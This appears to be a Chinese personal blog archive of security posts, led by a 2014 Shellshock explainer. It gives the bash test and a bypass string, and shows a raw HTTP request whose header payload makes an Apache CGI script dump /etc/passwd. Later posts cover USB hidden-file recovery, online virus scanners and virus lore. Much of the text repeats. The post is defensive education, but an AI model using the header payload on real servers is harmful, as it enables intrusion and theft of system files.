Sep
27
#update@09.28 注意,根据CoolShell这篇文章指出,官方的patch25并没有真正解决问题,仍然可以使用这种方式来实现注入(具体解释详见那篇文章): $ env X='() { (a)=>\' bash -c "echo date"; ,经过测试,Ubuntu官方更新的Bash不受影响,但是自己patch的bash还是不能解决这个问题。
大概大家都知道了,最近bash爆出来了个大漏洞,名号ShellShock,影响范围是bash 1.14 ~ 4.3(最新版),基本上你能想到的Linux/Unix机器都中招了,包括果粉们的macbook。
当然有些人还是心怀侥幸,那么就执行下面这个命令试试看:
$ env x="() { :;}; echo vulnerable" bash -c "echo this is a test"
如果输出是:恭喜你中奖了,bash将环境变量的定义直接执行了,说明被注入了。
而打过补丁的系统里,输出应当是:
解决方法其实很简单,大多数发行版都迅速针对这个问题推出了安全更新,比如常用的ubuntu,只需要在 sudo apt-get update 以后运行 sudo apt-get install bash 就可以了。redhat什么的也类似,网上搜一下就能找到相应说明。
而对于raspberry pi或者是mk802这种就比较蛋疼,ports.ubuntu.com 还没有及时更新,因此只能手动打补丁了:
【UPDATE】patch-25并没有完全解决问题,可以在另一个ubuntu下apt-get source bash来获取完全免疫版本的源码
打完补丁心里放心了,就可以来安心看看shellshock是怎样影响到你的系统的。
一个最简单的例子是CGI(Common Gateway Interface),最早的动态页面都是通过CGI实现的:http server除了给出一些CGI中规定的环境变量之外,还有解析HTTP Header中的字段,加上前缀HTTP_也设置为环境变量;准备好env以后,才去调用对应的CGI程序,CGI程序通过解析变量的值来获取用户的输入,并给出相应的返回。
比如说Ubuntu上的apache,默认是开启了mod_cgi,并且cgi目录是 /usr/lib/cgi-bin ,我们可以在下面放一个最简单的cgi脚本,名叫 test (并chmod +x),其内容是
访问 http://127.0.0.1/cgi-bin/test ,你就可以看到一个页面,内容是Hi。你可以在CGI程序的末尾追加一个env命令,用来查看环境变量,可以看到诸如REQUEST_URI、REMOTE_PORT之类Server自动填充的内容,也可以看到HTTP_USER_AGENT之类浏览器添加的内容。
注意,浏览器可以影响到(这个cgi脚本及其子进程的)环境变量——这就是突破点了,因此可以很容易地构造一个攻击请求,让服务器执行指定的命令,例如:
服务器返回的内容就变成了:
HTTP/1.1 200 OK
Date: Fri, 26 Sep 2014 16:52:21 GMT
Server: Apache/2.2.22 (Ubuntu)
Transfer-Encoding: chunked
455
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
...
username:x:1000:1000:username,,,:/home/username:/bin/bash
经过我的测试,php-fpm和apache的mod_php方式都不不受shellshock的影响,但是不要认为你没有跑上面这种CGI程序就放心了,例如常见的基于CGI的perl和php(据说fastcgi没问题,但我没测试),有时会通过system之类的函数调用shell命令,这也会导致bash被调用,而且据说openssh和dns client也有类似的问题(具体情形我没有了解),所以就不要侥幸了,尽快升级你的bash吧!
p.s. 说一句马后炮的话,这个BUG实际上非常简单(以至于我这么容易就弄懂了),bash遍历环境变量的时候会(用yacc生成的解释器)检查它的值,如果它看起来像是一个函数的定义(就像 x="() { echo hello!; }" 这样),那么bash会eval这段代码,然而如前面的例子所示,虽然它看起来像是一个函数定义,但是它实际上可以是用分号分隔的多个语句,依然满足bash的语法……看了一下bash43-025这个patch,修改了几十行,主要就是增加了 SEVAL_FUNCDEF 和 SEVAL_ONECMD 两个类型以及相应的用于进一步区分环境变量的检测代码,从而避免了上述情况。
大概大家都知道了,最近bash爆出来了个大漏洞,名号ShellShock,影响范围是bash 1.14 ~ 4.3(最新版),基本上你能想到的Linux/Unix机器都中招了,包括果粉们的macbook。
当然有些人还是心怀侥幸,那么就执行下面这个命令试试看:
$ env x="() { :;}; echo vulnerable" bash -c "echo this is a test"
如果输出是:
引用
vulnerable
this is a test
this is a test
而打过补丁的系统里,输出应当是:
引用
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test
bash: error importing function definition for `x'
this is a test
解决方法其实很简单,大多数发行版都迅速针对这个问题推出了安全更新,比如常用的ubuntu,只需要在 sudo apt-get update 以后运行 sudo apt-get install bash 就可以了。redhat什么的也类似,网上搜一下就能找到相应说明。
而对于raspberry pi或者是mk802这种就比较蛋疼,ports.ubuntu.com 还没有及时更新,因此只能手动打补丁了:
【UPDATE】patch-25并没有完全解决问题,可以在另一个ubuntu下apt-get source bash来获取完全免疫版本的源码
#!/bin/bash
mkdir bash-patched
cd bash-patched
wget http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
#download all patches
for i in $(seq -f "%03g" 0 25); do wget http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-$i; done
tar zxvf bash-4.3.tar.gz
cd bash-4.3
#apply all patches
for i in $(seq -f "%03g" 0 25);do patch -p0 < ../bash43-$i; done #截止到2014/9/27最新的patch编号是25
#build and install
./configure --prefix=/
make && make install
mkdir bash-patched
cd bash-patched
wget http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
#download all patches
for i in $(seq -f "%03g" 0 25); do wget http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-$i; done
tar zxvf bash-4.3.tar.gz
cd bash-4.3
#apply all patches
for i in $(seq -f "%03g" 0 25);do patch -p0 < ../bash43-$i; done #截止到2014/9/27最新的patch编号是25
#build and install
./configure --prefix=/
make && make install
打完补丁心里放心了,就可以来安心看看shellshock是怎样影响到你的系统的。
一个最简单的例子是CGI(Common Gateway Interface),最早的动态页面都是通过CGI实现的:http server除了给出一些CGI中规定的环境变量之外,还有解析HTTP Header中的字段,加上前缀HTTP_也设置为环境变量;准备好env以后,才去调用对应的CGI程序,CGI程序通过解析变量的值来获取用户的输入,并给出相应的返回。
比如说Ubuntu上的apache,默认是开启了mod_cgi,并且cgi目录是 /usr/lib/cgi-bin ,我们可以在下面放一个最简单的cgi脚本,名叫 test (并chmod +x),其内容是
#!/bin/bash
echo #输出一个空行,用来分隔httpserver的HTTP Header和下面的HTTP Entity
echo "Hi"
echo #输出一个空行,用来分隔httpserver的HTTP Header和下面的HTTP Entity
echo "Hi"
访问 http://127.0.0.1/cgi-bin/test ,你就可以看到一个页面,内容是Hi。你可以在CGI程序的末尾追加一个env命令,用来查看环境变量,可以看到诸如REQUEST_URI、REMOTE_PORT之类Server自动填充的内容,也可以看到HTTP_USER_AGENT之类浏览器添加的内容。
注意,浏览器可以影响到(这个cgi脚本及其子进程的)环境变量——这就是突破点了,因此可以很容易地构造一个攻击请求,让服务器执行指定的命令,例如:
引用
$ nc 127.0.0.1 80
GET / HTTP/1.1
Host: 127.0.0.1
X: () { :;}; echo ""; cat /etc/passwd
GET / HTTP/1.1
Host: 127.0.0.1
X: () { :;}; echo ""; cat /etc/passwd
服务器返回的内容就变成了:
引用
HTTP/1.1 200 OK
Date: Fri, 26 Sep 2014 16:52:21 GMT
Server: Apache/2.2.22 (Ubuntu)
Transfer-Encoding: chunked
455
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
...
username:x:1000:1000:username,,,:/home/username:/bin/bash
经过我的测试,php-fpm和apache的mod_php方式都不不受shellshock的影响,但是不要认为你没有跑上面这种CGI程序就放心了,例如常见的基于CGI的perl和php(据说fastcgi没问题,但我没测试),有时会通过system之类的函数调用shell命令,这也会导致bash被调用,而且据说openssh和dns client也有类似的问题(具体情形我没有了解),所以就不要侥幸了,尽快升级你的bash吧!
p.s. 说一句马后炮的话,这个BUG实际上非常简单(以至于我这么容易就弄懂了),bash遍历环境变量的时候会(用yacc生成的解释器)检查它的值,如果它看起来像是一个函数的定义(就像 x="() { echo hello!; }" 这样),那么bash会eval这段代码,然而如前面的例子所示,虽然它看起来像是一个函数定义,但是它实际上可以是用分号分隔的多个语句,依然满足bash的语法……看了一下bash43-025这个patch,修改了几十行,主要就是增加了 SEVAL_FUNCDEF 和 SEVAL_ONECMD 两个类型以及相应的用于进一步区分环境变量的检测代码,从而避免了上述情况。
Dec
23
发现听到这些语句的频率越来越高,而且我总是不能马上反应过来
每次都以为现在病毒事业蒸蒸日上,已经大规模入侵手机操作系统了呢
然后一听描述就是
哎呀,有个autorun.inf
哎呀,打不开了手机了,弹出“打开方式”对话框
哎呀,文件找不到了,但是空间显示还是那么多
汗ing...
解决办法:
资源管理器 -> "工具"菜单 -> "文件夹选项..." -> "查看"选项卡 ->
去掉 "隐藏受保护的操作系统文件(推荐)"前面的勾勾
然后下面选择 "显示所有隐藏文件和文件夹"
点击确定,然后看看文件出来没?
打开命令提示符: 开始->运行->输入 cmd 回车
然后应该会看到一个黑黑的窗口,光标闪动。
看看你的手机/MP3分配到了哪个盘,比如说是F
输入 F: (有个冒号),然后回车
然后输入 dir /a 回车
看到最后一列了不?就是你手机/MP3上的所有文件吧
依次输入
然后再看看MP3,文件是不是出来了?
每次都以为现在病毒事业蒸蒸日上,已经大规模入侵手机操作系统了呢
然后一听描述就是
哎呀,有个autorun.inf
哎呀,打不开了手机了,弹出“打开方式”对话框
哎呀,文件找不到了,但是空间显示还是那么多
汗ing...
解决办法:
资源管理器 -> "工具"菜单 -> "文件夹选项..." -> "查看"选项卡 ->
去掉 "隐藏受保护的操作系统文件(推荐)"前面的勾勾
然后下面选择 "显示所有隐藏文件和文件夹"
点击确定,然后看看文件出来没?
打开命令提示符: 开始->运行->输入 cmd 回车
然后应该会看到一个黑黑的窗口,光标闪动。
看看你的手机/MP3分配到了哪个盘,比如说是F
输入 F: (有个冒号),然后回车
然后输入 dir /a 回车
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.
C:\Documents and Settings\ooxx>F:
F:\>dir /a
驱动器 F 中的卷是 Nokia ooxx
卷的序列号是 1234-5678
F:\ 的目录
2003-01-01 00:00 <DIR> Music
2008-12-23 10:44 <DIR> Photos
2008-12-23 10:44 <DIR> 视频
0 个文件 0 字节
2 个目录 1,060,593,664 可用字节
(C) 版权所有 1985-2001 Microsoft Corp.
C:\Documents and Settings\ooxx>F:
F:\>dir /a
驱动器 F 中的卷是 Nokia ooxx
卷的序列号是 1234-5678
F:\ 的目录
2003-01-01 00:00 <DIR> Music
2008-12-23 10:44 <DIR> Photos
2008-12-23 10:44 <DIR> 视频
0 个文件 0 字节
2 个目录 1,060,593,664 可用字节
看到最后一列了不?就是你手机/MP3上的所有文件吧
依次输入
引用
attrib -s -r -h 文件名
然后再看看MP3,文件是不是出来了?
Feb
18
今天在C盘windows文件夹下有一个rmud.exe
因为这个系统是很早以前做的, 所以也不知道是哪个程序留下来的 - 也说不定是病毒呢.
于是就想去查一下看看. 但是不想安装杀毒软件.
于是上网找一些在线文件查毒网站,
同时在网上看到一个很有意思的方法:
因为这个系统是很早以前做的, 所以也不知道是哪个程序留下来的 - 也说不定是病毒呢.
于是就想去查一下看看. 但是不想安装杀毒软件.
于是上网找一些在线文件查毒网站,
同时在网上看到一个很有意思的方法:
Feb
18
在线文件查毒
http://scanner.virus.org/
http://www.virscan.org/
http://www.kaspersky.com.cn/webscanner/kavwebscan.html
http://online.rising.com.cn/free/index.htm
http://online.jiangmin.com/chadu.asp
http://shadu.duba.net/
http://www.soudu.net/index2.asp
http://www.kaspersky.com/scanforvirus //可以上传一个文件查毒
还有一个偏门招数, 不过应该很不错:
用邮箱的在线查毒功能.
比如用163或者QQ的邮箱发送这个文件到自己的邮箱, 如果有毒邮箱会提示的.
http://scanner.virus.org/
http://www.virscan.org/
http://www.kaspersky.com.cn/webscanner/kavwebscan.html
http://online.rising.com.cn/free/index.htm
http://online.jiangmin.com/chadu.asp
http://shadu.duba.net/
http://www.soudu.net/index2.asp
http://www.kaspersky.com/scanforvirus //可以上传一个文件查毒
还有一个偏门招数, 不过应该很不错:
用邮箱的在线查毒功能.
比如用163或者QQ的邮箱发送这个文件到自己的邮箱, 如果有毒邮箱会提示的.
Dec
8
Aug
24
恶搞熊猫烧香。
骑白马的不一定是王子,他可能是唐僧。烧香的不一定是和尚,也可能是熊猫
你的泪光,柔弱中带伤。满屏的熊猫香,删除过往。熊猫猖狂,点上三根香,是谁在电脑前冰冷地绝望。猫慢慢拜,暗黄色的香。我瘫坐椅子上,精神错乱,路在何方,谁为我思量,冷风吹乱憔悴模样。熊猫拜,三根香,你的笑容已泛黄。重装又重装,我心里在发慌。江民杀,瑞星除,你的影子剪不断,徒留我在机旁神伤
骑白马的不一定是王子,他可能是唐僧。烧香的不一定是和尚,也可能是熊猫
你的泪光,柔弱中带伤。满屏的熊猫香,删除过往。熊猫猖狂,点上三根香,是谁在电脑前冰冷地绝望。猫慢慢拜,暗黄色的香。我瘫坐椅子上,精神错乱,路在何方,谁为我思量,冷风吹乱憔悴模样。熊猫拜,三根香,你的笑容已泛黄。重装又重装,我心里在发慌。江民杀,瑞星除,你的影子剪不断,徒留我在机旁神伤
Aug
5
【安全知识】史上破坏力最大的10种计算机病毒排名
随着网络在现代生活中的重要性越来越突出,曾经被人们一手掌控的计算机病毒也逐渐从温驯的小猫成长为噬人的猛虎。从1986年,“Brain”病毒通过5.25英寸软盘首次大规模感染计算机起,人们与计算机病毒的斗争就从未停止过。如今,整整20年过去了,这场持久的拉锯战却似乎只是开了个头。
美国《Techweb》网站日前评出了20年来,破坏力最大的10种计算机病毒:
随着网络在现代生活中的重要性越来越突出,曾经被人们一手掌控的计算机病毒也逐渐从温驯的小猫成长为噬人的猛虎。从1986年,“Brain”病毒通过5.25英寸软盘首次大规模感染计算机起,人们与计算机病毒的斗争就从未停止过。如今,整整20年过去了,这场持久的拉锯战却似乎只是开了个头。
美国《Techweb》网站日前评出了20年来,破坏力最大的10种计算机病毒:
Feb
3
【转】ntsd命令手工清除病毒
应该有人知道windows 中ntsd 命令的应用,它是一个进程调试程序,我今天要讲的是它的很小一个应用——配合del命令手工对付顽固病毒文件。
我已经碰到过好几个这样的病毒:杀毒软件不能运行,病毒程序进程结束后马上又运行了,因为病毒程序还在,可能有其它的进程监视着它,每隔几秒检测进程,没有发现它就立刻运行这个病毒程序(这是理想的情况)或创建并运行它(这个就麻烦了),我下面会介绍一般情况下的解决方法。
应该有人知道windows 中ntsd 命令的应用,它是一个进程调试程序,我今天要讲的是它的很小一个应用——配合del命令手工对付顽固病毒文件。
我已经碰到过好几个这样的病毒:杀毒软件不能运行,病毒程序进程结束后马上又运行了,因为病毒程序还在,可能有其它的进程监视着它,每隔几秒检测进程,没有发现它就立刻运行这个病毒程序(这是理想的情况)或创建并运行它(这个就麻烦了),我下面会介绍一般情况下的解决方法。